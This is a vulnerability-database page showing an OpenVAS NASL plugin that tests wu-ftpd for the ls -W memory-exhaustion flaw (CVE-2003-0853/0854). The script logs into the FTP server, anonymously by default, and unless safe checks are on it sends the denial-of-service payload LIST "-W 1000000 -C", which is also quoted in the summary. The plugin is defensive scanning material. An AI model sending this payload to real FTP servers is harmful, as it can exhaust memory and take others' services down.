Lucene search
K

wu-ftpd ls -W memory exhaustion

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2003 Michel ArboiType 
openvas
 openvas
🔗 plugins.openvas.org👁 39 Views

wu-ftpd ls memory exhaustion vulnerability with possible remote denial of service attac

Related
Refs
Code
ReporterTitlePublishedViews
Family
CVE
CAN-2003-0854
6 Aug 202409:39
cve
CVE
CVE-2003-0853
25 Oct 200304:00
cve
CVE
CVE-2003-0854
25 Oct 200304:00
cve
Cvelist
CVE-2003-0853
25 Oct 200304:00
cvelist
Cvelist
CVE-2003-0854
25 Oct 200304:00
cvelist
Debian
[SECURITY] [DSA 705-1] New wu-ftpd packages fix denial of service
4 Apr 200515:18
debian
Debian CVE
CVE-2003-0853
25 Oct 200304:00
debiancve
Debian CVE
CVE-2003-0854
25 Oct 200304:00
debiancve
Tenable Nessus
Debian DSA-705-1 : wu-ftpd - missing input sanitising
11 Apr 200500:00
nessus
Tenable Nessus
Fedora Core 1 : coreutils-5.0-34.1 (2004-091)
24 Sep 201200:00
nessus
Rows per page
SourceLink
www.768
# OpenVAS Vulnerability Test
# $Id: wuftpd_ls_DoS.nasl 6053 2017-05-01 09:02:51Z teissa $
# Description: wu-ftpd ls -W memory exhaustion
#
# Authors:
# Michel Arboi <[email protected]>
# HD Moore suggested fixes and the safe_checks code.
#
# Copyright:
# Copyright (C) 2003 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_solution = "Contact your vendor for a fix";

tag_summary = "The FTP server does not filter arguments to the ls command. 
It is possible to consume all available memory on the machine 
by sending 
	ls '-w 1000000 -C'
See http://www.guninski.com/binls.html";

# Credit: Georgi Guninski discovered this attack


if (description)
{
 script_id(11912);
 script_version("$Revision: 6053 $");
 script_tag(name:"last_modification", value:"$Date: 2017-05-01 11:02:51 +0200 (Mon, 01 May 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_bugtraq_id(8875);
 script_cve_id("CVE-2003-0853", "CVE-2003-0854");
 script_xref(name: "CONECTIVA", value: "CLA-2003:768");
 script_xref(name: "zone-h", value: "3299");

 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
 name = "wu-ftpd ls -W memory exhaustion";
 script_name( name);



 script_category(ACT_MIXED_ATTACK);
  script_tag(name:"qod_type", value:"remote_banner");
 script_family( "FTP");

 script_copyright("Copyright (C) 2003 Michel Arboi");
 script_dependencies("find_service.nasl", "secpod_ftp_anonymous.nasl");
 script_require_ports("Services/ftp", 21);
 script_tag(name : "summary" , value : tag_summary);
 script_tag(name : "solution" , value : tag_solution);
 exit(0);
}


#

include("ftp_func.inc");

port = get_kb_item("Services/ftp");
if (!port) port = 21;
if (!get_port_state(port)) exit(0);

user = get_kb_item("ftp/login");
pass = get_kb_item("ftp/password");

if (! user) user = "anonymous";
if (! pass) pass = "[email protected]";

soc = open_sock_tcp(port);
if (!soc) exit(0);

if (! ftp_authenticate(socket:soc, user: user, pass: pass)) exit(0);

port2 = ftp_pasv(socket:soc);
if (!port2)
{
  ftp_close(socket: soc);
  exit(0);
}

soc2 = open_sock_tcp(port2, transport: ENCAPS_IP);

if (!soc2 || safe_checks())
{
  send(socket: soc, data: 'LIST -ABCDEFGHIJKLMNOPQRSTUV\r\n');
  r1 = ftp_recv_line(socket:soc);
  if (egrep(string: r1, pattern: "invalid option|usage:", icase: 1))
    security_message(port);
 if(soc2)close(soc2);
 ftp_close(socket: soc);
 exit(0);
}
  
start_denial();

send(socket:soc, data: 'LIST "-W 1000000 -C"\r\n');
r1 = ftp_recv_line(socket:soc);
l = ftp_recv_listing(socket: soc2);
r2 = ftp_recv_line(socket:soc);
close(soc2);
ftp_close(socket: soc);

alive = end_denial();
if (! alive)
{
  security_message(port);
  exit(0);
}

if (egrep(string: r2, pattern: "exhausted|failed", icase: 1))
{
  security_message(port);
  exit(0);
}

soc = open_sock_tcp(port);
if (! soc || ! ftp_authenticate(socket:soc, user: user, pass: pass))
  security_message(port);
if (soc) ftp_close(socket: soc);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 May 2017 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.02438
39